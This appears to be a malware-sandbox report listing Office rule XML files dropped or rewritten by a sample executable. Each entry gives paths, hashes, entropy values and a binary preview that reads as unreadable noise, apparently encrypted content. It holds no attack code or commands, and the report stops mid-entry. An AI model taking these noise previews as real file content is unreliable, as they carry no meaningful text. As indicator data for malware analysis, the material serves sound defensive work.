.^..A.....t.Q./.-........#O.[.`..O5o...K.5..R.$#.U#_.:+....^.]I.....4.....kC..M{..b.1......9....uM&_....T.#...Vd.oC.....@>.....#..q7.z.7.....y3.a~....p............Y.4.C....Q%U.....T...B..h..#..o.g.V.{.4...J....KL..-..'...JP9.....Z.w&?....+=.xb"....\|..)m7.....Nl5....M.1.........%..G.gC$.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.755331374137954
Encrypted:	false
SSDEEP:	24:QGTuwopn6tqYCYDZv4A62vyDs3/VfZJ9c9pbD:Ozpy5rmAFJpf9yJD
MD5:	3AD112D7A868FF5A230B6FC6D2092B8B
SHA1:	13C058D055FAB2CB03CCD8375F87D3D9E7636392
SHA-256:	4E489CAFFA4A2585C7B3A408DA6FE37CC5FE8071343B3E994330B71FB2754629
SHA-512:	9B56D3580DEF81565F9926D1B4FDC763688BE69D94B7509F0FDD89BA4261C52D5F2191F04C0985918837104701103BBF6E43CFB4187B579EE62B90D0C60BEA8B
Malicious:	false
Preview:	<?xml....E..(.FO}...Ln.........4.roWl....(.&...>.{.N.F...."o.....f@Y..F.oR....(.M..b.6...."U...!<...q...&.G.9C..Rn.6./.&k.....=)K.#+...,...n@.pLZv..9Pa.e......i\.(p8MX'.P.!..j....z$...<\|...Q...E...p'1d....Q&...[M.Z...w...'.M.`..5m)....4L&...1..[.+.[....(r..f..cs.f.]Do..[+....;8...\|H.<.}..u....x...+...V".o.#..T....A_..O?...\.o.~.\|....,?.h...c.y;#m2.u.....v..K<...[..B.......{.gJ......]:...%..<.......K:.$..aU.....j`.2..1.i..o...c....9.\|......@..(U.[0b.G..!......!.iZ...Y1{..g]b...pm.<j.^S..A.[....0.7....k.f......_..CNR..GV3s.8o.1.gQ1v........[J.e.Z......h...E\.@.m.(...A3...M..SnE3-....!.3...v2...tQ.O.x(...H.....4-4".f....Fj.Uu..5?M./@..fj.]..KnSg~..L\|..~.7.O..y.h.`...7c{S.E...@#.......n@Q...R...49........W.......])-.A.........= ..1\....1]?c....3....... .o.....I...-.\|.....h..)k..5,....v..!]v...]...-.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.760152667063193
Encrypted:	false
SSDEEP:	24:KP2bWhIfMUTnrhRFxpAxCzfndvCPwDYzLDdWbDOv9pbD:pWhIjTnrhRixspYwDefoaFJD
MD5:	89C982B0EDCB697D269921908A530991
SHA1:	AF24FDB6C36EE170E5121A896059E86317E39D26
SHA-256:	AFE51EBB7E938964E48653CA2DF6364A7BCB27F0D94F7766D8C3CB933B710E22
SHA-512:	2AA9874E0B277BA5D9846D7985F197D8B2990DCF56F595F5C183DD763D5A6FC837B84F52A8620F02591B966DD775E19D5FB0E51A9572870138850988A3E7CE24
Malicious:	false
Preview:	<?xml..W~...B<..F.26. .$wd..........LC.,.}..-...~.1n..r.!T3...........2............F+..$..:.x..G6><.5...W...UzF...........}Yw<.yL...+'....\.@[1........A{....w....!..Bc4e..!.7.H...n..IbdYd.A...Y7.A.......M[...&aw....?...tg'm....`.%%x.....!..`.&....gD..S...:V.$+.s...... y.eJO.a..j./\....}...O~...:]6...w.....%d..E.UK..@..Ge..tg..m.<S.....~..`..tIl..@..x..bF.....r.+%,..B8.H.Z(8.Ne=.o o.=t....?=.B.u.=....w..=......DD.....x....o#.It..1..;.o.....F..f...$...,.zQ=F"r...u.......;.Q.\....U...7n...1.._...8.{.i5.8..+.8.qK....#.=Z.J.F{...a.......O..z..C%...I....a.<c....p.".D.c}..9.C.g.vu?;.T..z.V{...e...I....;...ecbk]...D+......K.HZ......[?q.A..w.(.o.?.V.Ia.Y.&U..U}Gq...T.....4..0..T.f........q. ....r.X..j.el..f.l..<8D(.K$\w.G..Q@..j....S...@k.C~.I.#Ld.................(;7...^&XrDz.Mu....;~<; b..u...".#L/.`\OD.3}..s....$.+.....h\|xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.875268910586304
Encrypted:	false
SSDEEP:	24:55qt+GJQETyKZKcMSsEtWAyu00m2T4ctFdYiTAwDajrwuQNJkcLzy77ufCzQZdMS:+UeQFKZFSEtWn0rFhNQcfgqrjnJD
MD5:	28906DB9EE2F3D1093A4E4426E9340DA
SHA1:	2AA5229B2247F532BB94FEEAF05799FCBF6C464D
SHA-256:	013EF3EFAA919AC4E521D008F8F5702C8BBE6F147623D6D5F5C84C526B180DD9
SHA-512:	E5917E9C4F016F92A40B9BF93B8ABD093D88683B9074C48660AD633DF105CDE5C0CF72C7CA529A20D4CEEA911ADEFC500C484BA9C3BC1182CEC9EE665B541E98
Malicious:	false
Preview:	<?xml......h..j@@i.p.g2.Q..].\|.h[nJ.m.eY.1.....:....t.....]Z.wl....}.9...Mtv..1....[.W`.C!...;....?.../.l]M........\B.%8.PKi.K.=.-.(..l'...ZQ.D.y.f...8.k.X.:N...>....'.. ...A.hDJx..=w.i~A..'.........%..A...xQg.;..N.U'.,..H.#.......Y-......N:.dz.c..c..1+.I.........#/.. Uw........DYv.e@.gX.W..T.4...7S>j...."....A.N..;..?UE.,.....r6...`7.........@;...0rci.t.@-.I.,.kw.7........../.P...px.P....: .9..F...ar...O.N..\.f.?......dz^/."..Y;..w...}.....A.}.V..\|Mn.....p~c.....b k..>^........5..+...3.F.n%.1jL0.7.E.y.I.......P.AD..}$.'........9.x<upZ.U=....%Jv...;6......_.R....F.......7...2..KEo...\.m....vg.w..>.../.~...o..(.\|..9...z........w..\....I.K2&L..-,..,.#B.u\|.......::..>.....SA......S@.AP....+c.;.....v.....,.R....&..........Q.m......V...T..\.B.....".B..I.m}BcQr...9qz#N.."0.<E.-s`.)1.....4.Mf.......\..;...H....1.........>..3.oW...G...............$..g.[Ty...8b^...ZTY...D.....z.pC7..2E2.h./..d..y..9...l!f..4.......e@..R.......W"8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.844769826234603
Encrypted:	false
SSDEEP:	24:nz8zvCpVwQkyJqxGgK+TVUwaAbwVrj0ynzg+DokO8mqfu7Quxt9pbD:QzvAwsqMgK+a6Ij0RrkNmy2JD
MD5:	DD6582BCF1ED2BCD0CCD8F27EFBF612E
SHA1:	36265B1ECEC60550D2DF0A99C3740F818BE0E1A8
SHA-256:	59BA024BC7A06B63745B63B27E0F2A32EDC5D9AE34978ED5DE054A7F7AAE4F9A
SHA-512:	A8117CCD7667D41143F8619B1B9C1612F9E9CC2B9A07E3DEE943302816681A05C0AA53E12782000BDC34E82AB2C8C4411ECB42978A7E04ACB882C00D4275D90B
Malicious:	false
Preview:	<?xml.../.5m..7>...~..@b.......Y..=..&.a.......!.>tL......1"..d....~.@Iah^.@vX.{_..!@N....P..lY..T.<];...kP..W:..q.. ..N1:.. @=!<H....zjkZ..r.kj.5..g.x...X.R/.C%....S".N.d.p>..l....q.....9f.j.....w.....K~..H.<..w...%...x7,.K.M.'\|....Y..=X6..b(...Y.~.....H-".:7...orz.....M-....d..f.....7.......g.M.}&....f,.+.....M...$&Mn..~.K.r....=oO...o.p..a..r....m/.V[.....W...kg...I}.E..&,...W...6y.5Vl..<..\|..s..E.........z......WsX.\_....~:......e.N.D.;7%.<...%..+U..Q...._....9.7...~M#.<....}.u_.3M.ih...'...D.'.:.k.os..[2...B9.{..g....m..........lp......f..nE`...#.../...y2.^..'s.vUzT]j..DE.+p.....aku..b$S.Q..A.R.dy.:......[mR.H...h.C0......C...o....U.QT.m~...G....+.......7.Wl.F.......g..(....W..i..1..@CA.b.C................j..d..../c.r..'.}.9.f6...}\|'F......5...&...Q.......7*......'...........g.o...b.J.....[7...k..0=....s_B.>./.c.1{M^......}......o..C.9.`..l....#4...P/.H...j.s....Ab..PIJ.:v$.Q....&........h.......7u...<`.o.]9}\tK....N.@.6..^...ph..1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.843052391594655
Encrypted:	false
SSDEEP:	24:ei5bFNjGxEC1gN86fQLPuPNQOa8HvkCw5jx9pbD:ei5bFNjGSdQLuPyOlOnJD
MD5:	1BE0FE8B03874F6B05EAF6E5419C2152
SHA1:	7FE4066660D290957A664860E5EDB744B624648E
SHA-256:	0476BEB4CA954E1CBEE9C30F9D1DFF2A4166856EE347527CEF0594F242AAF1C7
SHA-512:	68AF42E4ED1BC8F67F4C7741E8F83151381C6451FF7C5831A9895DB7D587710939518D01465D67AB14098CD6390FD327ED8A49321BA6BEB00A35BBD8D1B3726A
Malicious:	false
Preview:	<?xmlp..K........Hxw..B.S..6{I..~..X..h.u..e.Q.#7..{Hhow.U...m..!......j....s.?....L..B.w.~...Pqo...\..>2...j.X.vi.....S).Upm...{3......uM...q'.nus. gR..ek..?.^.#..6.]Gm.B........b........~F.f.z-..4Jb...`~...../...B......g.Io..3......j?;...!.. ^.h.7.\.........DCPtYL...F.r.M..Y.}pmw..A 2L.....W..W.E.....2`2..Ib...)...zY.T.+.....kM`v_b.o.......M .4..}=.P.j2%..u...\|.l......"...;........$.=.H.!g....:................rk.....J..U.Z]W.T......J0.S.."Phk.}v...b....6r_..5L...&...~n.b:P..$.D....."a..(.....5$..g%j...PZ.Ka)@\.\|.......%...:..a.d?P.U6..q.....B.. I....6-.Df(TG.`...r..x.o'..&9......k....Jx3...[\4.j.p%f.... x=Ot.^$...R...s].+q.k.....S......tmJ.w..0.(l.dT....%...]....-}.55g.......'../t.h...=.y0~...y.-....a....y.s;A..u.0.r...R..........,^>....8<f....-bE..:K}w\;.A.@.x.F....$u..e.X.!.a..SAs..4....L.N.a.5X....0.}:.8.{f.......]..so.NK..6.....=..EnJ..x.*........a.m....P...5....Q.Nk./.(.J......F...f..Cl.6S.D.-[h.....Wi.\|.qR.....}......e..(Tv..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.801085322907913
Encrypted:	false
SSDEEP:	24:AbsjSfNdMnjimGeaZ1lw14NJXCIeTXTknHaUhUa8oSF6LPtk8nd9pbD:A+VGI4NJXSTXTk63lFytkgJD
MD5:	BEA800BB744D7DD105B4EBC4FABEFE99
SHA1:	F0406D0B86F394AA5A17CAD2B9BFDC66A836FDB1
SHA-256:	9A363E8BA3D12D5EB453B07A203077AC55D641D11C0A700098C6251E7FE50B03
SHA-512:	B4230B3FEC014CF50EC2A9E3588492785C1173215BF920C1032941EA350F615FBB57531A0CF37B037A5B2618E319F4CC502A4F96F454EBE083C8085636D25D92
Malicious:	false
Preview:	<?xml=>...!.v._(....5z..m.c.....oG.Y7..q..w.K...S.k..itH~Kx.,....>Y=......MK...PJ5.Te ....I9.}.8.....m...fb.z...X........X.Bx=.O..uy.NS.L>......O.k..$..T.QZ....\|.)..."tO.z%(.K.,?..&..!.$.Yvk..?..Y...:%..\.u.....m..p.l...!....gW..ms.y.c...aH..l./..#P....o....K..4.u%D..(..1.@~.(.9c.....8..`...P.:....T..,....5guaB.6M\|t..}....%..Tw.T.....T.......V./.B..W.1.C...M.fHi.i:.y.l..R...D>A"...]....#.N.:e.O....Y.Z/_!.c.}..%.......W.n.C...F6.,y._If......>6V....2.yi/S..B.B..p...~d^.S.G.B{!..Y.>..7..t9...]..+.#.Zn.8..\...k...2$_H..P..R._=..i.h..sf.....W..B....$..-...K.q(.:./.F.:,..............K.k.W.......]..n..6..."........=....t.f..[W}.... m...=....D...G.:.j_'C..v./yq..ui.A.4....b.T...._........k_..(...%....5..%....".. .v.......xo..0.fq[.NS...?zCX...\.pB/'T4Pt.t.7v...A.^.......36l].).....@.....\....N..f...}...jRv..^..C..3E...%HAA.2..b..W...iw....1._.B.fE.`.9....~{.a..H....u...L\.1.AR.......P.5[.......n....+.G...`.C.._.w...O.......=.<*G.h..>-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.775455609217343
Encrypted:	false
SSDEEP:	24:diq9CaJtQRaXuVcdxu7yBOCcC9hst+V9pbD:diqfqaXuVSuyBOt0Ot+PJD
MD5:	04D2BC8A7D745CEFE785C62A8274778B
SHA1:	D9D8B2A484E5BE23094EE64980727940D090CBBF
SHA-256:	CF553B4B296509A26935575310C77C307DF070D4440F0CDF5463D123844B04B1
SHA-512:	F2E372F237FC16103FE8446813FC7D3B5A6C70DE008A347C6C2B1A6D99234FA8FC224A5C3FAE13DAC95DE7EA039B49FEF69B9C47A13E754E8563FAD1EA809028
Malicious:	false
Preview:	<?xml.......?k3.&.due')Y.;........C..3-..0.X%/B.O..N.K.D.%.....-@5M.B.0...).~\|.b.!.\..PA.1`.u='..:...?.......h..SX?..5.....b.f..@.#..9.7'.#X..V.....).{0...X..B.+.......k[-.......e.E..0.=...S.E.`..a4.A.zE_.7y.O.#d.o.=Q&..3...).Rnv.....T..^..i.[.G?^_:.....L\|KfbG...m sC...0m..O...j.n..G..Ym.C4.)c....:......w.SBg.Q.(T..F...:u.v....:_..qr..+.....e(r....QO-....7^y....#.h....w......@.7.nEn..Z..n\........w.+.uUv...l B.>,......&1J..../.>n.C..0....j.H....D..xA.3.S..#........_6..]8..!.....`.p.b.MpQ8.2...a.:...)G..eJh.0..M..A.U.{..P>.....\|.....U.....Y..F\...o".&.{.?K"ea^y..jn..h.#.w&i%.^...;>sQ.&..M.a.lB.Y...y.A.S..l..2.y....^..u.M>..$.g_.0.FLC.z......O.l..).. a.....$.y(P.N.... ..1.H..`N.j)..Ft...s...v.<..T.. ..L..4.....S.../=W....D.m...;........:].....X5..C....A.+.p.}...v.t.x..........[.........].w..1...........2...OT.....s8Q....O.Ggv.bkj..{G.M..k&..%.....YS>...t..f".1}..[.q3{....&...NL.....`..c...3.p...4...jA..=.gr..FF..6+..N.....BR..e....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.8328727544366865
Encrypted:	false
SSDEEP:	24:/ySkGAVrhKq1dBAk+c8waYcq3mBZ9B/PMrIEDFgpm9pbD:6STAVMq1duXcxj3mDfPitFgqJD
MD5:	6556B3E61AAFEB42A11122A2CDA2555A
SHA1:	C9799D3758CEBF9D7DDE5C3C937016362172F46C
SHA-256:	3CBC778FC6D8E10BB99088AB2412C4FC4F9916ECDDE9BEDEF293FBB479331CC5
SHA-512:	4898018B49ECBC483B4D61B5D892611C4D66791D814275BFDB45050FDA7C89BF42FBEF239E1952BB4B9B493761C76AAA8CC76DD901DC6F3755AED6644C4B36A8
Malicious:	false
Preview:	<?xml4A5..>.$...<....s9...P.Q[......M.>E.....;.'.d..3..<.Q1.Y..b..1..--3&...^1.....bn...%.......Y....-..I...)....!.5}.B0.i.R..8{...,#ll.V..g..x.BX.P.M.!.:=..u...\|JM..D...U.u...s.8v.Oc........eM.d....e.2l.x.f.i..cX..[<{A..b..s...p.W.hg.(fY..qo['..\|}.\..l...W......h...l`..'..h..:..b..t.e...c,......=..{....sU..%...3L..}.....'q..JA..(..G.b.d.9.@-...t..........DEB]2...r`.....a)..-...A.a...&....T^..o...#z.,v#V.....7].."./{....f.=".tu.!...Q.+n.kx..K)4E.@P.+B#7Y.0"...f..<.\|r...$.../..w.i....~.....8....+44f.a....W{.mf.,.....r.\|.c7h(X._(...i......Z..g....E....yQ.d>.-i.^m>7.ho..t.S...O.....LH:.6.s.M.......I'..l....`D.L...\|..l....G.s.pa.z..D;...^]".T..?f....`..y.i.z$5..=.F.A..q..G..%...n\.Q1.W. .[V.j.\....*.ZW.^8Yeb..H.....s.>......p......Fg....Rq.GS..[..m...RC.q9Y?t.B.}.\d.....S..>F...}i._.y~.N.;QoK....)I._}a...DY?M...........Wh>;.\>`..k..)....}.tZ.q...5q.......<D...\)[...F....W?Cc,..L...v......h'..B..~..(/..X.....;a..!.g$...[.c].\j....\|.7..X}..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.770427218052019
Encrypted:	false
SSDEEP:	24:vDXMDblbeAQT/aS2VvOjmeetkiY9jR0zbduLlm29pbD:gnBV2+V2gYBRAIBmoJD
MD5:	B42A265AB5C200A6EC709FDBB726FFD1
SHA1:	53D19984C4087F837ABC8D6E09ECEC6D1E679A97
SHA-256:	79E2B7843DD567C408133C613345EE848FD4CE2A1135385D571582DF95FAEB92
SHA-512:	415AB1D07E3DD6A94021DBD9F3E886BAB949744854D30E4CAC0B99F15CC7B71A01BB24DB6DEC1B07B08E80D1C44D8584C5A4CC2F815CF7D4422B645F5D498FD6
Malicious:	false
Preview:	<?xmlr(...J..k4 G?q.]/.2.[.L=.....O.^o.Fz..~....q..3.#^.5.D....Z=.".h....h.{G...yVS8..@k_{pc..j.f..u6..7....s...0>7..X.q.m.l..+c......"........v..B.&<3xt]..b#..'.C'.{"..J<......{...........0..+t5..XX...<IS,..mS.d+_...._......:>...~&q......._{1.W..z..3.......a.......b$t...........\|../..$...1......F.;..S....2vf.U..L.T.....YT2S...X..dG.....B3Pr.Kaz.G.~M..]}._.......s...).J.....v+.J.f./.r...5........F_...,.Me.C./e.u....i.G..w..l.....E.N...1..E~.6.....^..sA\|.4..6........f>.."...5GD...I....-........@u.;.#Mz.%...\.....h..{.Z ..m.z..yW.o..e^<.e....E...k.C\..+@...Jh.q...t..X..@UB{Y2\..e.....^....8w....V.q...d.~....>.5n.......%..V-.~._.d.j.j...f..;.4..Et...o...{.d.w..6.o...^..j.oR..dG..<.%....f..E#..%....b......^-...5.A...Rh.\=.{....R..A.....Q...X.PT"...vsT.D..[...l"....r.I..f..G).pf..}h)M![G.'..\|.'a..^.S..M.q...F..Y~xB....q.~.1 h.:R5....[.\|...(..Y/.....p.......W...............5!..\~f........w...-<d.*...!LxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.944074670578553
Encrypted:	false
SSDEEP:	96:cs09gEAsHUb19HiHIo07oDiaU9JcL3v1DPEYIGOrXdsJDo:K0s0bDHioo07QiaUIL3v1AYwCc
MD5:	A6963B8F82815A83356581DB6371C6F5
SHA1:	9310E42D365BCFF3892C9A3FFE6C8FB2D3508883
SHA-256:	88E82192BC4646E64EB171B100A1C196C10BE680F616B5C9B1983DCEBD12FF1B
SHA-512:	6E598985C07D665C1BA16A15BF39086F845FB088A638AC6813DEB029EDD50C1F0B767C682E163661E386F1F5389DB798D3517EEB0CCFF78E36DF280BF4002708
Malicious:	false
Preview:	<?xmlV..>...#k.a.......@.....j...J..}."t...^.b.`...n.Nm].\|k..;.p.....>.e..>-R.Z..8..e.X.K.c........w.:.Q.un.)$}....".W..+Ajl78...p...>...4T.M3...jC..\j....]..C...h.S.e&..q.1z.\.......h.z..zo.'W....hD......O."^..?...b+...b...ChW..^..!..Y9U3.jU}.R..S.. ..Y!...../.xo.Z.b.....Pa.&..J.%..\|l.J@.E......W.@......\|..p...hz...$_\.v.....P8z.).OhHR....3M..I[a..j..]....5.x.........Cn..K.L..}i.^.#BTX)..k.Z.&..r..[..U..u./j.M...dU.Q...Y..9Ls:i2...w........N0..,.Q-O.Q...E.../.PX.\|~.Lk...?...8[.5.qrF..0..O7.A.A4..n.3U%-..h.n..+..../.."....,.rOC.&...M...B......"...-.p;6...i.<G...d...?zv...k...nf)_1@.....i.$.y[y....A...w.......yXA..%.RQ.}.....I......xu......%r..smo.....OC..'.....~....+F...6.....l....:^..0....r..f...<J.Y....!B....fk.....-O.._.>z.%zE..A....."....D..!........nu.}...#t..(..7..PP..>5v}B..M8...g...E..a....).Nm."............l.?;.7..7D....8!t.W.....w...X.6.....-}U...G$.................3A..c..;....V/...t.sU...D,4.qu...W..!..O.m.qN..;..A..a\.2#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.738765542945514
Encrypted:	false
SSDEEP:	12:eZHygIgXOOnEHrU6bB7J+KYam6d7v+lUYU64r13x9+MbiWM9M2cii9a:eZHy/pwEHF+FafdOUTr1+M3M9pbD
MD5:	C93E520D2904C5E828E948B3949BFCCB
SHA1:	630523AC1CBF9FA8E6E2C3058D5C40E8E106D68C
SHA-256:	8B26AE5A7755993AF6A5E06A83ED8810CE8718DE0F1E8481BCE6F424371927F5
SHA-512:	772D48143AFA1A4E76A1D57EC40530F748742005D38EF5FB9133A5DB3FF31A0FFBA8F0BE9E4BB2EA39802CF9A4AFCBEC0F6C4A049F5516A7409B93F858AA2E8C
Malicious:	false
Preview:	<?xml.o...I......r.8.;....'..6..6q....P..{.. Z<..C2...!.q......9%<.7.l.w..............J...>...Y.B@z#...v.2...0[..0.....aq..3....-.....x...deE_(.Bgq.<".hi..H..T...R...{./.jDT.....D..O................>o._.n.7............'.bJ....R.k.`.0.}.._. &...(.\|....~....qZ...!e.%$.}@\|......_oR(...uc...f.c..M..'x.Z........=..eA.94.U.....s=nG....=..S...5:.#.V.....r...U..bq..J..=.2..H..=..N.$.....v...&..,.....:. ..5.R..D.>..,5.s.B...`..T....4-...5.}g}5....h.1...l%-i@.+,.......&n....RuF..Zl...>`........?..Km.&..L...vk....k...<0....../3....`......ju.Y../,.<.Rv$..v..kD)..=.Le.<.'LD..YL....Bk..zoI.A...A.]...w.\|..]..5."....X....6;........M........)..$o.R..1w..\...i.t.m..2.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.950366881193749
Encrypted:	false
SSDEEP:	96:6EL3n6XvT71eQt9LtxU5ON8sdZtQoYxlrWBWiBJd7:5LKn1e+LfejAJY/WBWiBH7
MD5:	4968FA5C9AFBAA1ECDFC14448098852B
SHA1:	547BF9B070FD644E09CD249FC0B53A2059F3C2BE
SHA-256:	74FE2407465DEFD78C4043A1E5CDECF27017E90E1B49DBE4C5B5D2C912D01FA1
SHA-512:	F1751E9DEABDB16E86806A3D1EF21E0FD224BECCA0A0053E7FBC6D32DA59ED0E678A824C9AAF20AFB0B4A6DE7B3BCB0E7B03AD55052A74B0D9AA629525F56198
Malicious:	false
Preview:	<?xml...r/]....u...`s...8T.w....#.C.A..1X.F..c.V{......GK....Q.x.K.~a.5....0..g...%........Y.....oq.....7^.fC....m....U..6..^......ww.p{K..V&i=Itp............4..W.g...utNJ........s}....40....o.3..N..\......F..s.CO..Qy.2.L\|......I.8..s.#.m..TD3..T._.`.:g...F>.pj.\|..d..&.>.Q~q..,...h~MSk...R..ReOc.mm`.0.6....`S.pfM.uX. .<8O.V!...B:...A{..;...5.zP~.47mL..bW.{lA..'..>.L..C$...,...k...E"..}o........S../X.^.$.._..A._..{.....!...... ...R8.Z..{t].,.....V.zE.hD.?...X..h..!..d.O.e..h..F.~6%v.M.t{q...[.....Y...v.:q.....,_R..<....pE5.x.. ...CR.L......]D...m/.{!Yb.eaW...n.....Z..J........l..0.u...?.,.~..../..8}k...%..>........1......M@f,.l.h.B$.I.@on...E...(i2C..6pt..0..].w....,....\|.1}_..8.V.n.#...Pn^Sr.(...P/........q._H.6.R'#....>1.....if..H]..L......@....yk!.H7.w.. ..;...9.L5 .c.o2.Fy.!4.c....Ca.l..V.9........D...j..E..(......\|QE@...E.t..n.........5.V>/..W...{...^....~.p.."_.o.. _..t.Wl.}zh.Ulj..TET.7..............4.....\.G..L.z...=.....B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.822476070244782
Encrypted:	false
SSDEEP:	24:KPOfdoAhS+HFmMgiMQyNwUGwhI6Aqbw87LQq7KOTLlJHgj9pbD:KepzHFmjgyep67L7LQSKOHHApJD
MD5:	B7EAE97D1E09340DA47C9F66EA572F8B
SHA1:	025CFD99D8A24AB25E8C35F7B5668A4A6A862BDC
SHA-256:	5F4A19CB418DB0782BDBDAA38DD8EB15F18F8593D268941E7E0D51BBE29B7DBE
SHA-512:	D73F72193E3E5AEA82A35B49C7DBA5C29B4B0F2B01DCA229EC8C9B37B26750C3924047650B216B12DE5971069AC674E343B1BCAE569CC533F65A6DEFE8851548
Malicious:	false
Preview:	<?xml.sj.\|.o.+......}.:f!.......+...P...^/.>.m..bD.Ax?...d.[.@..Bh.u.A...4...B..)]........3.5n.....[..j\|..S.k.@H.."0...9.qc1.1`....\........p.[i!.......:....G.....z4Os..A...-\|.....<.H..T..`.}..T..N......Z.......8U.l.....a........N..\|..aI;i>.....,1.I.h(..vkL..."..\|.....<+...9..W..........G..Bd..6i...........DL..u...6.~i....d;....-s9.2.3........!......l0..j...Q...P."...`.(*....fw.O.%............<.w.a...g........1B.80.!.H.x....4.r..d..4..M.9.Bu{.........\|J...h:P........Q\|..E4...W....N5..Fw.....D.2U...}L..4v..L..4..NkTP..A.Z...y..m..)......x..l2...$.O.s.....p. ._.= .z..F...E...}..@...{.-y.?Cm.p]@.A.I.PeZ.e.x.u..!.zC\|.../?DsT38..].......t..$.f.vI......e/M@...O..8<...6.%7P....Kv...,i...O.il..0/5_.....u..a.x.p......9...t..+~.....R...Bp.C.\|........GEBPn...H.4o%<Y.T:Ej...Wv.H..U`.N...&....o..............Aa...K..L,P-.Q.N.a...:.4.fw......,0Xst..h.S.}.....b..B].)-.Y.g.w....x.zP\.v..P.ba.f..9.]].J.........m(.L>.^&._.j....9........P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.896329627041538
Encrypted:	false
SSDEEP:	48:e8RRzswd/PBHkOHQzoSJeYS460a4b0p5x/CyjJD:eevxPBHBHQzofq9bU//v1
MD5:	30346EDE2DA1B2DE0EA8DEA9AADE6F58
SHA1:	7AEA88F1FE40D1818A3853307251C556565C9CDC
SHA-256:	3C5590C3C58C08268A01DD8E9A14C3E4E730E312D1B15D72530607EEBD675BF4
SHA-512:	13EBF7CBC51B60D3A002FC390119BD23DA54B080FBE95F9B6B7ADDF1C36DE911B06E7064714C716D58DA1E5BE6DE28ED48A82E505B4B16B68624985478859308
Malicious:	false
Preview:	<?xmlb.Seud......`a..?...{.j..........[p.0.I0_&..a.,4..T.....N)..es(.....h.ml)....i..g./k.P.......(.k....?.O........n.....1.:S2=9b...ok...2.V...G^..Y..:.\...$.H.F{8..[....Ko.(v6Q.I.......A..V.E".....v.@.CW9......S....=.~.._.l.....L+j.j..P.\|N.i;J%:.s./.)..u.P..w.u`......#..S+.nD4.....k...`.b....I..L...0... !<duN[3...3Bx........;.N..(..Z..+.\|._.pW.....:h..4.q.9.:.z4.......o...w..d>2ek;... <j..\|.[0B1.X..W.."!.....l.-...."...3.;.v..?....:...;...`.8X.....\.....5M...t~.l.-p)..+....]..s.T....R'T.l\|2..N.`.......CK..>.x7j..C..I.I^:%..ZN.Y.....P..VA..]<..... ..Ag..%.4&.Y..W.;..?....B......'.......XK..?...)....R....b /4...W...K3..{...6..?.j.....'...\..h;...r%.....q3>?.....q...>.........p.....3.m.E.o.C.*......Fw?..{._......A..\...........[.Y.5..,..?e..c.;e...n....f.M..5.d...C.t..!..i..R..[...2.....,...C.BY..7.A&..M..77......[....5D..Y.....C......G.....Z.....i.![\|.j.U\.....&.L17...Q..e~..cI...\|l Q...-<....k.<..._S^....^..0..n.a....g(.5.....c....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.707132491112102
Encrypted:	false
